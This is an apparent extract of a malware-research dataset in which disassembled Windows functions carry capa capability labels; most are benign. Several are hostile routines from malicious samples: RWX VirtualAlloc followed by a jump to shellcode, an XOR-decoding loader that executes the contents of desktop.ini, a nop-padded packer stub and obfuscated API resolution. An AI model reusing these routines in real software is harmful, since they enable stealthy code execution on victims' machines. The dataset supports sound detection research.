joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ee00
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
push esi
push ebx
mov ebx, ecx
sub esp, 0x20
mov ecx, dword [ebp + 8]
movzx esi, word [edx]
test ebx, ebx
je 0x1000ef80
test ecx, ecx
je 0x1000eee8
test si, si
je 0x1000ef70
mov eax, edx
nop
add eax, 2
cmp word [eax], 0
jne 0x1000ee30
sub eax, edx
sar eax, 1
cmp word [ebx], 0
je 0x1000ee57
mov esi, ebx
lea esi, [esi]
add esi, 2
cmp word [esi], 0
jne 0x1000ee48
sub esi, ebx
sar esi, 1
add eax, esi
cmp word [ecx], 0
je 0x1000ee6f
mov esi, ecx
nop
add esi, 2
cmp word [esi], 0
jne 0x1000ee60
sub esi, ecx
sar esi, 1
add eax, esi
add eax, 0x4a
mov dword [ebp + 8], ecx
mov dword [ebp - 0x10], eax
add eax, eax
mov dword [ebp - 0x14], edx
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
test eax, eax
mov esi, eax
je 0x1000efe4
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.SELECT__FROM___QUALIFIERS_WHERE_Class_s_AND_Member_s_AND_Name_s
mov dword [esp + 4], eax
mov dword [esp], esi
call sym._swprintf_2
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], esi
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._exec_query
mov dword [esp], esi
mov ebx, eax
call dword [sym.imp.ucrtbase.dll_free]
add esp, 0x20
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
test ebx, ebx
je 0x1000ef80
test si, si
je 0x1000efdd
mov eax, edx
lea esi, [esi]
nop
add eax, 2
cmp word [eax], 0
jne 0x1000ef00
sub eax, edx
sar eax, 1
cmp word [ebx], 0
je 0x1000ef27
mov ecx, ebx
lea esi, [esi]
add ecx, 2
cmp word [ecx], 0
jne 0x1000ef18
sub ecx, ebx
sar ecx, 1
add eax, ecx
lea ecx, [eax + 0x3c]
mov dword [ebp - 0x14], edx
lea eax, [ecx + ecx]
mov dword [ebp - 0x10], ecx
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov esi, eax
test eax, eax
je 0x1000efe4
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], str.SELECT__FROM___QUALIFIERS_WHERE_Class_s_AND_Member_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sym._swprintf_2
jmp 0x1000eeb9
xor eax, eax
jmp 0x1000ee3d
mov eax, edx
mov ebx, 0x2c
mov ecx, 0x58
test si, si
je 0x1000efab
lea esi, [esi]
add eax, 2
cmp word [eax], 0
jne 0x1000ef98
sub eax, edx
lea ecx, [eax + 0x58]
sar eax, 1
lea ebx, [eax + 0x2c]
mov dword [ebp - 0x10], edx
mov dword [esp], ecx
call dword [sym.imp.ucrtbase.dll_malloc]
mov esi, eax
test eax, eax
je 0x1000efe4
mov edx, dword [ebp - 0x10]
mov dword [esp + 8], str.SELECT__FROM___QUALIFIERS_WHERE_Class_s
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._swprintf_2
jmp 0x1000eeb9
xor eax, eax
jmp 0x1000ef0d
mov ebx, 0x8007000e
jmp 0x1000eed7
Function at 0x1000fe00
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x30]
lea esi, [ebp - 0x2c]
push ebx
sub esp, 0x2c
mov dword [ebp - 0x30], 0x10
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetComputerNameW]
sub esp, 8
test eax, eax
je 0x1000fe70
movzx eax, word [ebp - 0x2c]
test ax, ax
je 0x1000fe54
mov ebx, dword [sym.imp.ucrtbase.dll_towupper]
mov edi, esi
lea esi, [esi]
nop
mov dword [esp], eax
add edi, 2
call ebx
mov word [edi - 2], ax
movzx eax, word [edi]
test ax, ax
jne 0x1000fe40
mov dword [esp], esi
call dword [sym.imp.oleaut32.dll_SysAllocString]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10017dc0
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp + 0x14]
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], str.SELECT__FROM__s_WHERE__s
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0
call dword [sym.imp.ucrtbase.dll___stdio_common_vswprintf]
leave
ret
Function at 0x1001a870
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18
mov edi, dword [ebp + 8]
mov edx, dword [edi + 8]
mov esi, dword [edi + 4]
test edx, edx
mov dword [ebp - 0x10], edx
je 0x1001a8d0
add esi, dword [edi + 0xc]
add esi, 0x1a
lea eax, [esi + esi]
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov ebx, eax
test eax, eax
je 0x1001a8c2
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x10], edx
mov eax, dword [edi]
mov dword [esp + 8], str.SELECT__FROM__s_WHERE__s
mov dword [esp + 0xc], eax
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._swprintf.constprop.0
add esp, 0x18
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [esi + esi + 0x1e]
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov ebx, eax
test eax, eax
je 0x1001a8c2
xor eax, eax
lea esi, [esi]
movzx edx, word [eax + str.SELECT__FROM]
mov word [ebx + eax], dx
add eax, 2
test dx, dx
jne 0x1001a8e8
cmp word [ebx], 0
mov esi, dword [edi]
mov edx, ebx
je 0x1001a911
lea esi, [esi]
add edx, 2
cmp word [edx], 0
jne 0x1001a908
xor eax, eax
lea esi, [esi]
nop
movzx ecx, word [esi + eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001a918
add esp, 0x18
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1001fe50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x1001fea8
cmp byte [esi + ebx - 1], 0xa
je 0x1001fe7c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x100350c4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x10020450
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov edi, dword [0x100350d4]
mov esi, dword [ebp + 8]
test edi, edi
je 0x10020610
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x100350d4]
movzx eax, al
bt eax, esi
jae 0x10020670
mov ecx, dword [0x100350c4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x10020515
test byte [0x100218ac], 8
jne 0x100205b0
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x100218bc], 8
jne 0x10020560
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x100204e4
cmp esi, 3
jbe 0x10020520
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x1002e208]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x100204e4
mov ecx, dword [0x100350d4]
test ecx, ecx
je 0x10020650
mov dword [esp], 0x100218bc
call dword [0x100350d4]
test al, 8
je 0x100204bb
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x100204bb
mov ebx, dword [0x100350d4]
test ebx, ebx
je 0x10020630
mov dword [esp], 0x100218ac
call dword [0x100350d4]
test al, 8
je 0x100204a6
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x100204ae
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x100350d4
call sym._load_func.part.0
jmp 0x1002046d
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x100350d4
call sym._load_func.part.0
jmp 0x100205ba
mov ecx, sym._fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x100350d4
call sym._load_func.part.0
jmp 0x1002056e
mov eax, 0xffffffff
jmp 0x10020515
Function at 0x100207f0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x214
mov eax, dword [0x100350e0]
test eax, eax
je 0x100208a8
mov dword [esp], ebx
call eax
mov dword [ebx + 8], eax
sub esp, 4
test eax, eax
jns 0x10020830
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x214]
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.MODULE
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], str.SystemRoot
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.SystemRoot
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
jmp 0x1002081c
mov dword [esp], str.atl100.dll
call dword [sym.imp.kernel32.dll_LoadLibraryW]
sub esp, 4
test eax, eax
je 0x100208dd
mov dword [esp + 4], str.AtlCreateRegistrar
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x100350e0], eax
sub esp, 8
test eax, eax
jne 0x1002080d
mov dword [ebx + 8], 0x80004002
xor eax, eax
jmp 0x1002081e
Function at 0x100208f0
Capabilities:
Access peb ldr_data
Extract resource via kernel32 functions
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.kernel32.dll_FindResourceW]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [ebp - 0x10], eax
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ebx, eax
mov dword [esp + 4], edx
mov dword [esp], edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x10], eax
sub esp, 8
test ebx, ebx
je 0x10020a71
mov eax, dword [esi]
test eax, eax
je 0x10020a60
mov edx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
mov dword [ebp - 0x1c], edx
call edx
lea ecx, [eax + 1]
sub esp, 0x18
lea eax, [ecx + ecx]
mov dword [ebp - 0x18], ecx
mov ecx, eax
mov dword [ebp - 0x14], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
sub esp, 0xc
test eax, eax
mov edi, eax
je 0x10020a75
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [esi + 4]
xor edx, edx
sub esp, 0x18
mov word [edi + eax - 2], dx
mov eax, dword [esi]
test ecx, ecx
mov edx, dword [eax]
mov dword [esp + 4], edi
mov dword [esp], eax
jne 0x10020a58
call dword [edx + 0x28]
sub esp, 8
mov dword [esi + 8], eax
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esi + 8]
sub esp, 0xc
not eax
shr eax, 0x1f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
call dword [edx + 0x24]
sub esp, 8
jmp 0x10020a19
mov edx, esi
mov eax, edi
call sym._create_registrar
test eax, eax
jne 0x10020956
xor eax, eax
jmp 0x10020a48
mov dword [esi + 8], 0x8007000e
xor eax, eax
jmp 0x10020a48
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea edi, [0x480068]
lea ecx, [0x480148]
lea esi, [0x4802a8]
push esi
push esi
push 0xb9aa
call sub.user32.dll_GetDialogBaseUnits
pop ebx
pop eax
pop esi
push 0x40
push 0x3000
push 0x14400
push 0
call sub.kernel32.dll_VirtualAlloc
jmp loc.0054a000

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x17ff4485
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, str.I__
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x290914d0
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
add eax, 0xffffff90
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40c70f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40c71e
pop dword [ebp - 0x38]
mov eax, 0x40c71e
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x7d8b0d59
sub dword [ebp - 0x48], 0x2f38c80e
mov dword [ebp - 0x44], 0xc3f01eb3
add dword [ebp - 0x44], 0x6e432d92
mov dword [ebp - 0x40], 0xe8b2e20f
sub dword [ebp - 0x40], 0x9c669de1
mov dword [ebp - 0x3c], 0x9e600c12
add dword [ebp - 0x3c], 0x619ff3ee
lea eax, [ebp - 0x48]
push eax
mov eax, 0x60a3d41
add eax, 0xfa37f333
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xd2627591
sub dword [ebp - 0x48], 0x5df00c3b
mov dword [ebp - 0x44], 0xb12c420d
add dword [ebp - 0x44], 0x90401f68
mov dword [ebp - 0x40], 0x9bf162a5
sub dword [ebp - 0x40], 0x3881f639
mov dword [ebp - 0x3c], 0xfd01f6dd
add dword [ebp - 0x3c], 0x2fe0923
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38c68
push 0
call eax
mov ecx, 0x699ddcc8
sub ecx, 0x699da898
xor ebx, ebx
add ebx, eax
mov edx, 0xae88b2b1
add edx, 0x51ba914f
add edx, dword [ebp - 0x38]
mov edi, 0x95fc0f61
sub edi, 0x2c85bde7
mov dword [ebp - 8], 0x1a286e1f
mov esi, dword [edx]
sub dword [ebp - 0xc], 0xc8a3b1c5
add esi, edi
xor dword [ebp - 0x10], 0x2a3d1264
mov dword [ebx], esi
xor dword [ebp - 0x30], ecx
add ebx, 0x8ffc7ca1
add ebx, 0x70038363
add edx, 4
loop 0x40c838
add eax, 0x6fe9dfb6
add eax, 0x9016e3dd
xor ebx, ebx
add ebx, eax
add eax, 0x55af2ec6
sub eax, 0x55af2ec1
mov ecx, 0xd9daf95d
sub ecx, 0xd99af95d
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x403950
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46c020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4039e8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x4039c8
xor eax, eax
push ebp
push 0x4039c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403a20
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4039c8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x46c020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46c020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404ad4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46f050], 0
je 0x404b35
cmp word [0x46f32c], 0xd7b2
jne 0x404afd
cmp dword [0x46f334], 0
jbe 0x404afd
mov eax, 0x46f328
call dword [0x46f344]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404b60
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46c02c], 0
jne 0x404b51
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404ce0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x46c030], 0
je 0x404d06
mov edx, esi
mov eax, ebx
call dword [0x46c030]
jmp 0x404d15
mov eax, 8
call fcn.00402fb4
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x46f051], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404ca8
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4076e8
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x408e88
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x471b5c
push 0xa
push 0x408f1c
mov eax, dword [0x471b4c]
push eax
call sub.kernel32.dll_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x408eac
call fcn.00410b28
push ebx
mov eax, dword [0x471b4c]
push eax
call sub.kernel32.dll_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x408ec3
call fcn.00410b28
push ebx
call sub.kernel32.dll_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x408ed5
call fcn.00410b28
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x471b60], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x471b64], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x471b68], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x471b6c], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x471b70], ecx
add edx, dword [eax + 0x14]
mov dword [0x471b74], edx
pop esi
pop ebx
ret

Function at 0x40a660
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40a709
test eax, edx
je 0x40a70c
push 0
push 0
cmp word [eax - 0xa], 2
je 0x40a689
push edx
mov edx, eax
mov eax, esp
call fcn.004057b8
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x40a69f
push eax
lea eax, [esp + 8]
call fcn.004057b8
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x40a6ae
movzx eax, word [eax]
sub eax, ecx
jmp 0x40a6d5
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40a6ef
add ecx, 4
js 0x40a6c6
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x40a6ec
push eax
mov eax, ecx
mov edx, 2
call fcn.00404d80
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x40a6d3
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x40a6d5
xor eax, eax
ret
test eax, eax
je 0x40a71c
test edx, edx
jne 0x40a670
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40e5ac
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40e5e5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00405720
jmp 0x40e5ee
mov eax, ebx
mov edx, esi
call fcn.004055e4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40e5f8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40e61a
movzx eax, word [esp]
jmp 0x40e61c
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40eda4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x40eec9
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0040ebb8
mov esi, eax
mov eax, dword [0x46e204]
cmp byte [eax], 0
je 0x40ee71
mov eax, dword [0x46dff8]
call fcn.00403318
call fcn.0040311c
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x40ed80]
call fcn.0040693c
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x40eee4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40eead
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x46dfa4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x471b4c]
call fcn.00406a30
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eed0
lea eax, [ebp - 4]
mov edx, dword [0x40ed80]
call fcn.00406948
ret